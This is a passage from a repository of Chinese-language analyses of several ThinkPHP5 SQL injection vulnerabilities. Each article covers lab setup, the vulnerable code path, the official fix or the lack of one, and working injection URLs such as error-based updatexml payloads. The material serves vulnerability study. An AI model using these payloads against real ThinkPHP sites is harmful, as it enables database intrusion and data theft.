76 | 至此,我们已将整个漏洞分析完了。实际上,上面的 **switch** 结构中,3种情况返回的数据都有可能造成 **SQL** 注入漏洞,但是在观察 **ThinkPHP** 官方的修复代码中,发现其只对 **inc** 和 **dec** 进行了修复,而对于 **exp** 的情况并未处理,这是为什么呢?
77 |
78 | 实际上, **exp** 的情况早在传入 **insert** 方法前就被 **ThinkPHP** 内置过滤方法给处理了,如果数据中存在 **exp** ,则会被替换成 **exp空格** ,这也是为什么 **ThinkPHP** 官方没有对 **exp** 的情况进行处理的原因了。具体内置过滤方法的代码如下:
79 |
80 | 
81 |
82 | ## 漏洞修复
83 |
84 | 
85 |
86 | ## 攻击总结
87 |
88 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
89 |
90 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1/9.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **update** 方法注入)。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **Mysql** 类的 **parseArrayData** 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 **SQL** 语句,导致 **SQL注入漏洞** 的产生。漏洞影响版本: **5.1.6<=ThinkPHP<=5.1.7** (非最新的 **5.1.8** 版本也可利用)。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.6.0",
20 | "topthink/framework": "5.1.7"
21 | }
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | get('username/a');
35 | db('users')->where(['id' => 1])->update(['username' => $username]);
36 | return 'Update success';
37 | }
38 | }
39 | ```
40 |
41 | 在 **config/database.php** 文件中配置数据库相关信息,并开启 **config/app.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
42 |
43 | ```sql
44 | create database tpdemo;
45 | use tpdemo;
46 | create table users(
47 | id int primary key auto_increment,
48 | username varchar(50) not null
49 | );
50 | insert into users(id,username) values(1,'mochazz');
51 | ```
52 |
53 | 访问 **http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
54 |
55 | 
56 |
57 | ## 漏洞分析
58 |
59 | 
60 |
61 | 首先在官方发布的 **5.1.9** 版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其 **commit** 记录,发现其删除了 **parseArrayData** 方法,这处 **case** 语句之前出现过 **insert** 注入,所以比较可疑。
62 |
63 | 
64 |
65 | 接着我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先, **payload** 数据经过 **ThinkPHP** 内置方法的过滤后(不影响我们的 **payload** ),直接进入了 **Query** 类的 **update** 方法,该方法调用了 **Connection** 类的 **update** 方法,该方法又调用了 **$this->builder** 的 **insert** 方法,这里的 **$this->builder** 为 **\think\db\builder\Mysql** 类,该类继承于 **Builder** 类,代码如下:
66 |
67 | 
68 |
69 | 在 **Builder** 类的 **update** 方法中,调用了 **parseData** 方法。这个方法中的 **case** 语句之前存在 **SQL注入漏洞** ,现已修复,然而却多了 **default** 代码段,而这段代码也是在新版本中被删除的。
70 |
71 | 
72 |
73 | 我们跟进到 **parseArrayData** 方法,发现其中又将可控变量进行拼接,其变量来源均来自用户输入。之后的过程就和之前的 **insert** 注入一样,用 **str_replace** 将变量填充到 **SQL** 语句中,最终执行,导致 **SQL注入漏洞** 。
74 |
75 | 
76 |
77 | 上面 **第15行** 的 **$result** 相当于 **$a('$b($c)')** 其中 **$a、$b、$c** 均可控。最后形成的 **SQL** 语句如下:
78 |
79 | ```sql
80 | UPDATE `users` SET `username` = $a('$b($c)') WHERE `id` = 1;
81 | ```
82 |
83 | 接着我们想办法闭合即可。我们令 **$a = updatexml(1,concat(0x7,user(),0x7e),1)^** 、 **$b = 0** 、 **$c = 1** ,即:
84 |
85 | ```sql
86 | UPDATE `users` SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = 1
87 | ```
88 |
89 | ## 漏洞修复
90 |
91 | 官方修复方法比较暴力,直接将 **parseArrayData** 方法删除了。
92 |
93 | 
94 |
95 | ## 攻击总结
96 |
97 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
98 |
99 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **select** 方法注入)。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **Mysql** 类的 **parseWhereItem** 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 **SQL** 语句,导致 **SQL注入漏洞** 的产生。漏洞影响版本: **ThinkPHP5全版本** 。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.4.0",
20 | "topthink/framework": "5.0.10"
21 | },
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | get('username');
35 | $result = db('users')->where('username','exp',$username)->select();
36 | return 'select success';
37 | }
38 | }
39 | ```
40 |
41 | 在 **config/database.php** 文件中配置数据库相关信息,并开启 **config/app.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
42 |
43 | ```sql
44 | create database tpdemo;
45 | use tpdemo;
46 | create table users(
47 | id int primary key auto_increment,
48 | username varchar(50) not null
49 | );
50 | insert into users(id,username) values(1,'mochazz');
51 | ```
52 |
53 | 访问 **http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
54 |
55 | 
56 |
57 | ## 漏洞分析
58 |
59 | 由于官方根本不认为这是一个漏洞,而认为这是他们提供的一个功能,所以官方并没有对这个问题进行修复。但笔者认为这里的数据过滤还是存在问题的,所以我们还是来分析分析这个漏洞。
60 |
61 | 程序默认调用 **Request** 类的 **get** 方法中会调用该类的 **input** 方法,但是该方法默认情况下并没有对数据进行很好的过滤,所以用户输入的数据会原样进入框架的 **SQL** 查询方法中。首先程序先调用 **Query** 类的 **where** 方法,通过其 **parseWhereExp** 方法分析查询表达式,然后再返回并继续调用 **select** 方法准备开始构建 **select** 语句。
62 |
63 | 
64 |
65 | 上面的 **$this->builder** 为 **\think\db\builder\Mysql** 类,该类继承于 **Builder** 类,所以接着会调用 **Builder** 类的 **select** 方法。在 **select** 方法中,程序会对 **SQL** 语句模板用变量填充,其中用来填充 **%WHERE%** 的变量中存在用户输入的数据。我们跟进这个 **where** 分析函数,会发现其会调用生成查询条件 **SQL** 语句的 **buildWhere** 函数。
66 |
67 | 
68 |
69 | 继续跟进 **buildWhere** 函数,发现用户可控数据又被传入了 **parseWhereItem** where子单元分析函数。我们发现当操作符等于 **EXP** 时,将来自用户的数据直接拼接进了 **SQL** 语句,最终导致了 **SQL注入漏洞** 。
70 |
71 | 
72 |
73 | ## 漏洞修复
74 |
75 | 未修复。
76 |
77 | ## 攻击总结
78 |
79 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
80 |
81 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **select** 方法注入)。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **Mysql** 类的 **parseWhereItem** 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 **SQL** 语句。再一个, **Request** 类的 **filterValue** 方法漏过滤 **NOT LIKE** 关键字,最终导致 **SQL注入漏洞** 的产生。漏洞影响版本: **ThinkPHP=5.0.10** 。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.4.0",
20 | "topthink/framework": "5.0.10"
21 | },
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | get('username/a');
35 | $result = db('users')->where(['username' => $username])->select();
36 | var_dump($result);
37 | }
38 | }
39 | ```
40 |
41 | 在 **config/database.php** 文件中配置数据库相关信息,并开启 **config/app.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
42 |
43 | ```sql
44 | create database tpdemo;
45 | use tpdemo;
46 | create table users(
47 | id int primary key auto_increment,
48 | username varchar(50) not null
49 | );
50 | insert into users(id,username) values(1,'mochazz');
51 | ```
52 |
53 | 访问 **http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
54 |
55 | 
56 |
57 | ## 漏洞分析
58 |
59 | 首先在官方发布的 **5.0.11** 版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其 **commit** 记录,发现其修改的 **Request.php** 文件代码比较可疑。
60 |
61 | 
62 |
63 | 接着我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先,不管以哪种方式传递数据给服务器,这些数据在 **ThinkPHP** 中都会经过 **Request** 类的 **input** 方法。数据不仅会被强制类型转换,还都会经过 **filterValue** 方法的处理。该方法是用来过滤表单中的表达式,但是我们仔细看其代码,会发现少过滤了 **NOT LIKE** ,而本次漏洞正是利用了这一点。
64 |
65 | 
66 |
67 | 我们回到处理 **SQL** 语句的方法上。首先程序先调用 **Query** 类的 **where** 方法,通过其 **parseWhereExp** 方法分析查询表达式,然后再返回并继续调用 **select** 方法准备开始构建 **select** 语句。
68 |
69 | 
70 |
71 | 上面的 **$this->builder** 为 **\think\db\builder\Mysql** 类,该类继承于 **Builder** 类,所以接着会调用 **Builder** 类的 **select** 方法。在 **select** 方法中,程序会对 **SQL** 语句模板用变量填充,其中用来填充 **%WHERE%** 的变量中存在用户输入的数据。我们跟进这个 **where** 分析函数,会发现其会调用生成查询条件 **SQL** 语句的 **buildWhere** 函数。
72 |
73 | 
74 |
75 | 继续跟进 **buildWhere** 函数,发现用户可控数据又被传入了 **parseWhereItem** where子单元分析函数,该函数的返回结果存储在 **$str** 变量中,并被拼接进 **SQL** 语句。(下图 **第16、20行**)
76 |
77 | 
78 |
79 | 我们跟进 **parseWhereItem** 方法,发现当操作符等于 **NOT LIKE** 时,程序所使用的 **MYSQL** 逻辑操作符竟然可由用户传来的变量控制(下图 **第23行** ),这样也就直接导致了 **SQL注入漏洞** 的发生。
80 |
81 | 
82 |
83 | 正是由于 **ThinkPHP** 官方的 **filterValue** 方法漏过滤了 **NOT LIKE** ,同时 **MYSQL** 逻辑操作由用户变量控制,使得这一漏洞可以被利用。
84 |
85 | ## 漏洞修复
86 |
87 | 在 **5.0.10** 之后的版本,官方的修复方法是:在 **Request.php** 文件的 **filterValue** 方法中,过滤掉 **NOT LIKE** 关键字。而在 **5.0.10** 之前的版本中,这个漏洞是不存在的,但是其代码也没有过滤掉 **NOT LIKE** 关键字,这是为什么呢?经过调试,发现原来在 **5.0.10** 之前的版本中,其默认允许的表达式中不存在 **not like** (注意空格),所以即便攻击者可以通过外部控制该操作符号,也无法完成攻击。(会直接进入下入157行,下图是 **5.0.9** 版本的代码)相反, **5.0.10** 版本其默认允许的表达式中,存在 **not like** ,因而可以触发漏洞。
88 |
89 | 
90 |
91 | ## 攻击总结
92 |
93 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
94 |
95 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4/9.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **orderby** 方法注入)。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **Builder** 类的 **parseOrder** 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 **SQL** 语句,最终导致 **SQL注入漏洞** 的产生。漏洞影响版本: **5.1.16<=ThinkPHP5<=5.1.22** 。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.1.22 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.6.0",
20 | "topthink/framework": "5.1.22"
21 | }
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | get('orderby');
35 | $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
36 | var_dump($result);
37 | }
38 | }
39 | ```
40 |
41 | 在 **config/database.php** 文件中配置数据库相关信息,并开启 **config/app.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
42 |
43 | ```sql
44 | create database tpdemo;
45 | use tpdemo;
46 | create table users(
47 | id int primary key auto_increment,
48 | username varchar(50) not null
49 | );
50 | insert into users(id,username) values(1,'mochazz');
51 | ```
52 |
53 | 访问 **http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
54 |
55 | 
56 |
57 | ## 漏洞分析
58 |
59 | 首先在官方发布的 **5.1.23** 版本更新说明中,发现其中提到该版本增强了 **order** 方法的安全性。
60 |
61 | 
62 |
63 | 通过查阅其 **commit** 记录,发现其修改了 **Builder.php** 文件中的 **parseOrder** 方法。其添加了一个 **if** 语句判断,来过滤 **)、#** 两个符号。
64 |
65 | 
66 |
67 | 接下来,我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先程序通过 **input** 方法获取数据,并通过 **filterCalue** 方法进行简单过滤,但是根本没有对数组的键进行过滤处理。
68 |
69 | 
70 |
71 | 接着数据就原样被传入数据库操作相关方法中。在 **Query** 类的 **order** 方法中,我们可以看到数据没有任何过滤,直接存储在 **$this->options['order']** 中。(下图 **第19行** )
72 |
73 | 
74 |
75 | 接着来到 **find** 方法,在 **Connection** 类的 **find** 方法中调用 **Builder** 类的 **select** 方法来生成 **SQL** 语句。相信大家对 **Builder** 类的 **select** 方法应该不会陌生吧,因为前几篇分析文章中都有提及这个方法。这个方法通过 **str_replace** 函数将数据填充到 **SQL** 模板语句中。这次我们要关注的是 **parseOrder** 方法,这个方法在新版的 **ThinkPHP** 中做了代码调整,我们跟进。
76 |
77 | 
78 |
79 | 在 **parseOrder** 方法中,我们看到程序通过 **parseKey** 方法给变量两端都加上了反引号(下图 **第26行** ),然后直接拼接字符串返回(下图 **第17行** ),没有进行任何过滤、检测,这也是导致本次 **SQL注入漏洞** 的原因。
80 |
81 | 
82 |
83 | ## 漏洞修复
84 |
85 | 官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在 **)、#** 两个符号。
86 |
87 | 
88 |
89 | ## 攻击总结
90 |
91 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
92 |
93 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞(所有 **Mysql** 聚合函数相关方法均存在注入)。
2 |
3 | ## 漏洞概要
4 |
